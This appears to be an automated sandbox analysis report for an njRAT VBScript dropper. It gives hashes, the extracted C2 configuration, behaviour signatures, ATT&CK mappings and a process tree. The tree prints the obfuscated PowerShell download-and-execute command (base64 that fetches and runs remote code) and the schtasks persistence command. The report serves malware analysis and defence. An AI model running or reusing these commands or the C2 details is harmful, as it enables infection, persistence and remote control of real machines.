njrat | 29bd0ab3b7cb939a7def1c4e4bb78c3c9d7e19d580e6292b155e89b13820309f

Analysis

max time kernel
144s
max time network
142s
platform
windows10_x64
resource
win10-en-20211208
submitted
21-12-2021 08:19

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General

Target

P48274Q89.vbs
Size

872B
MD5

028b34eb17d379cf3688e72225cd95da
SHA1

851db5268715999fc8db2d6292096d19e3830d3b
SHA256

29bd0ab3b7cb939a7def1c4e4bb78c3c9d7e19d580e6292b155e89b13820309f
SHA512

8e1be3d7de63e20e5d8737486b123dff598894bab17f15e69e2ac0f648e4d52b81e261aff26657fc4533ed20845d921e8aec1df2333fe8eeb1ab6d0763975405

Score

10^/10

njrat hacked trojan

Malware Config

Extracted

Family

njrat

Version

v2.0

Botnet

HacKed

sxeodus12.duckdns.org:5552

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 1524 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

win_media.exe

pid process

1068 win_media.exe
Drops startup file 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk aspnet_compiler.exe

flow	pid	process
11	1524	powershell.exe

pid	process
1068	win_media.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	aspnet_compiler.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process	target process
PID 1524 set thread context of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 3668 set thread context of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1296 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1524 powershell.exe
1524 powershell.exe
1524 powershell.exe

pid	process
1296	schtasks.exe

pid	process
1524	powershell.exe
1524	powershell.exe
1524	powershell.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

Processes:

powershell.exeaspnet_compiler.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	3668	aspnet_compiler.exe
Token: SeDebugPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe
Token: 33	2104	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2104	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 40 IoCs

Processes:

WScript.execmd.execmd.exepowershell.exeaspnet_compiler.execmd.exe

description	pid	process	target process
PID 3800 wrote to memory of 612	3800	WScript.exe	cmd.exe
PID 3800 wrote to memory of 612	3800	WScript.exe	cmd.exe
PID 612 wrote to memory of 1120	612	cmd.exe	cmd.exe
PID 612 wrote to memory of 1120	612	cmd.exe	cmd.exe
PID 1120 wrote to memory of 1240	1120	cmd.exe	cmd.exe
PID 1120 wrote to memory of 1240	1120	cmd.exe	cmd.exe
PID 1120 wrote to memory of 1352	1120	cmd.exe	findstr.exe
PID 1120 wrote to memory of 1352	1120	cmd.exe	findstr.exe
PID 612 wrote to memory of 1524	612	cmd.exe	powershell.exe
PID 612 wrote to memory of 1524	612	cmd.exe	powershell.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 1524 wrote to memory of 3668	1524	powershell.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 2104	3668	aspnet_compiler.exe	aspnet_compiler.exe
PID 3668 wrote to memory of 1068	3668	aspnet_compiler.exe	win_media.exe
PID 3668 wrote to memory of 1068	3668	aspnet_compiler.exe	win_media.exe
PID 3668 wrote to memory of 436	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 436	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 436	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 1440	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 1440	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 1440	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 952	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 952	3668	aspnet_compiler.exe	cmd.exe
PID 3668 wrote to memory of 952	3668	aspnet_compiler.exe	cmd.exe
PID 1440 wrote to memory of 1296	1440	cmd.exe	schtasks.exe
PID 1440 wrote to memory of 1296	1440	cmd.exe	schtasks.exe
PID 1440 wrote to memory of 1296	1440	cmd.exe	schtasks.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\P48274Q89.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3800

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c FOR /F "tokens=11 delims=s\" %g IN ('set^|findstr PSM') do %g -e JAB3AGUAYgByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJwBoAHQAdABwAHMAOgAvAC8AagB1AHMAdABpAGMAZQBtAG8AdQBuAHQALgB4AHkAegAvAHMAZQBlAC8AUABlAC0AQwBvAGQAZQAuAHQAeAB0ACcAKQA7ACQAcgBlAHMAcAA9ACQAdwBlAGIAcgBlAHEALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJAByAGUAcwBwAHMAdAByAGUAYQBtAD0AJAByAGUAcwBwAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAcgBlAGEAZABlAHIAPQBbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAXQA6ADoAbgBlAHcAKAAkAHIAZQBzAHAAcwB0AHIAZQBhAG0AKQA7ACQAYwBvAG4AdABlAG4AdAA9ACQAcgBlAGEAZABlAHIALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwAkAGMAbwBuAHQAZQBuAHQAIAB8ACAAaQBlAHgA
2⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c set|findstr PSM
3⤵
- Suspicious use of WriteProcessMemory
PID:1120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set"
4⤵
PID:1240

C:\Windows\system32\findstr.exe
findstr PSM
4⤵
PID:1352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -e JAB3AGUAYgByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJwBoAHQAdABwAHMAOgAvAC8AagB1AHMAdABpAGMAZQBtAG8AdQBuAHQALgB4AHkAegAvAHMAZQBlAC8AUABlAC0AQwBvAGQAZQAuAHQAeAB0ACcAKQA7ACQAcgBlAHMAcAA9ACQAdwBlAGIAcgBlAHEALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJAByAGUAcwBwAHMAdAByAGUAYQBtAD0AJAByAGUAcwBwAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAcgBlAGEAZABlAHIAPQBbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAXQA6ADoAbgBlAHcAKAAkAHIAZQBzAHAAcwB0AHIAZQBhAG0AKQA7ACQAYwBvAG4AdABlAG4AdAA9ACQAcgBlAGEAZABlAHIALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwAkAGMAbwBuAHQAZQBuAHQAIAB8ACAAaQBlAHgA
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
5⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Users\Admin\AppData\Local\Temp\win_media.exe
"C:\Users\Admin\AppData\Local\Temp\win_media.exe"
5⤵
- Executes dropped EXE
PID:1068

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\windowmedia"
5⤵
PID:436

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\windowmedia\windowmedia.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\windowmedia\windowmedia.exe'" /f
6⤵
- Creates scheduled task(s)
PID:1296

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "C:\Users\Admin\AppData\Roaming\windowmedia\windowmedia.exe"
5⤵
PID:952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\win_media.exe

MD5
e1a187b7f7fda5bce6eb1e053ba15bc3

SHA1
9a5dbb4f6c3e1a01d6d2d25f620a3e3a66876a73

SHA256
89c31847f4c22cfe3e8098d3ae2875f474929e3bf1fcb2bf7c9e90713719cd82

SHA512
42024a781cf74d066671d365c1a27ed15716d74dd51e3511e2dd62a6dd2aa2ec2cdc42d48f731f379037ab7338a3df28c3cbfdd7b2f11f5c2cd3b1edc1a895f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\win_media.exe

MD5
e1a187b7f7fda5bce6eb1e053ba15bc3

SHA1
9a5dbb4f6c3e1a01d6d2d25f620a3e3a66876a73

SHA256
89c31847f4c22cfe3e8098d3ae2875f474929e3bf1fcb2bf7c9e90713719cd82

SHA512
42024a781cf74d066671d365c1a27ed15716d74dd51e3511e2dd62a6dd2aa2ec2cdc42d48f731f379037ab7338a3df28c3cbfdd7b2f11f5c2cd3b1edc1a895f6

Download Submit
memory/436-162-0x0000000000000000-mapping.dmp

Download
memory/612-115-0x0000000000000000-mapping.dmp

Download
memory/952-164-0x0000000000000000-mapping.dmp

Download
memory/1068-167-0x0000000000712000-0x0000000000714000-memory.dmp

Filesize
8KB

Download
memory/1068-166-0x0000000000710000-0x0000000000712000-memory.dmp

Filesize
8KB

Download
memory/1068-159-0x0000000000000000-mapping.dmp

Download
memory/1120-116-0x0000000000000000-mapping.dmp

Download
memory/1240-117-0x0000000000000000-mapping.dmp

Download
memory/1296-165-0x0000000000000000-mapping.dmp

Download
memory/1352-118-0x0000000000000000-mapping.dmp

Download
memory/1440-163-0x0000000000000000-mapping.dmp

Download
memory/1524-142-0x00000224C2D90000-0x00000224C2D9C000-memory.dmp

Filesize
48KB

Download
memory/1524-119-0x0000000000000000-mapping.dmp

Download
memory/1524-131-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-130-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-132-0x00000224DD030000-0x00000224DD031000-memory.dmp

Filesize
4KB

Download
memory/1524-133-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-135-0x00000224DAF56000-0x00000224DAF58000-memory.dmp

Filesize
8KB

Download
memory/1524-128-0x00000224DAF53000-0x00000224DAF55000-memory.dmp

Filesize
8KB

Download
memory/1524-126-0x00000224DAF50000-0x00000224DAF52000-memory.dmp

Filesize
8KB

Download
memory/1524-127-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-145-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-125-0x00000224C2850000-0x00000224C2851000-memory.dmp

Filesize
4KB

Download
memory/1524-120-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-121-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-122-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-123-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-124-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/1524-129-0x00000224C26F0000-0x00000224C26F2000-memory.dmp

Filesize
8KB

Download
memory/2104-154-0x000000000040837E-mapping.dmp

Download
memory/2104-157-0x0000000005700000-0x0000000005701000-memory.dmp

Filesize
4KB

Download
memory/2104-153-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2104-168-0x0000000005DD0000-0x0000000005DD1000-memory.dmp

Filesize
4KB

Download
memory/3668-143-0x0000000000400000-0x0000000000472000-memory.dmp

Filesize
456KB

Download
memory/3668-152-0x0000000004F70000-0x0000000004F71000-memory.dmp

Filesize
4KB

Download
memory/3668-151-0x00000000050A0000-0x00000000050A1000-memory.dmp

Filesize
4KB

Download
memory/3668-150-0x00000000050E0000-0x00000000050E1000-memory.dmp

Filesize
4KB

Download
memory/3668-149-0x0000000005540000-0x0000000005541000-memory.dmp

Filesize
4KB

Download
memory/3668-148-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

Filesize
4KB

Download
memory/3668-146-0x0000000000400000-0x0000000000472000-memory.dmp

Filesize
456KB

Download
memory/3668-144-0x000000000044C20E-mapping.dmp

Download